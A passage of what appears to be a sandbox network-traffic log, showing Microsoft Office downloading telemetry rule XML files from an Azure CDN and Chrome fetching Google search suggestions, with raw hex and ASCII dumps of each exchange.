2024-11-12 12:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123515Z-16547b76f7f7scqbhC1DFW0m5w0000000ffg00000000833q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: df0930aa-501e-00a3-28a3-34c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123515Z-17df447cdb5vp9l9hC1DFW5hw800000007h0000000009cga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:15 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123515Z-16547b76f7fxsvjdhC1DFWprrs0000000fh00000000082ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 216c6b49-701e-001e-23a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123515Z-17df447cdb5g2j9ghC1DFWuyag0000000670000000003hm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6d064dc7-d01e-005a-12a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123515Z-17df447cdb5g2j9ghC1DFWuyag000000061000000000d1ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123516Z-16547b76f7fj5p7mhC1DFWf8w40000000fq000000000a0dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123516Z-16547b76f7f67wxlhC1DFWah9w0000000fpg000000003r5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123516Z-15869dbbcc6lq2lzhC1DFWs1sn00000001r0000000006tr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123516Z-16547b76f7f7lhvnhC1DFWa2k00000000fh0000000007z6d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:16 UTC	498	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 42046764-d01e-0028-78a2-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123516Z-17df447cdb5g2j9ghC1DFWuyag0000000670000000003hp2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 12:35:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49720	142.250.186.132	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:16 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-QBn38C5SA3iG04-PLqeVvQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 12:35:16 UTC	112	IN	Data Raw: 33 30 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 72 6f 62 6c 6f 78 20 61 6e 69 6d 65 20 72 65 62 6f 72 6e 20 63 6f 64 65 73 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 20 64 6f 67 65 63 6f 69 6e 22 2c 22 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 20 6b 65 6f 6e 20 63 6f 6c 65 6d 61 6e 20 69 6e 6a 75 72 79 22 2c 22 6d 61 74 74 65 6c Data Ascii: 302)]}'["",["roblox anime reborn codes","cryptocurrency dogecoin","buffalo bills keon coleman injury","mattel
2024-11-12 12:35:16 UTC	665	IN	Data Raw: 20 77 69 63 6b 65 64 20 64 6f 6c 6c 73 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 62 65 6e 65 66 69 74 73 22 2c 22 73 70 61 63 65 78 20 73 74 61 72 6c 69 6e 6b 20 73 61 74 65 6c 6c 69 74 65 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 73 74 6f 63 6b 22 2c 22 6d 69 6b 65 20 74 79 73 6f 6e 20 6b 69 74 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 Data Ascii: wicked dolls","social security benefits","spacex starlink satellite","super micro computer stock","mike tyson kith"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003
2024-11-12 12:35:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49721	142.250.186.132	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
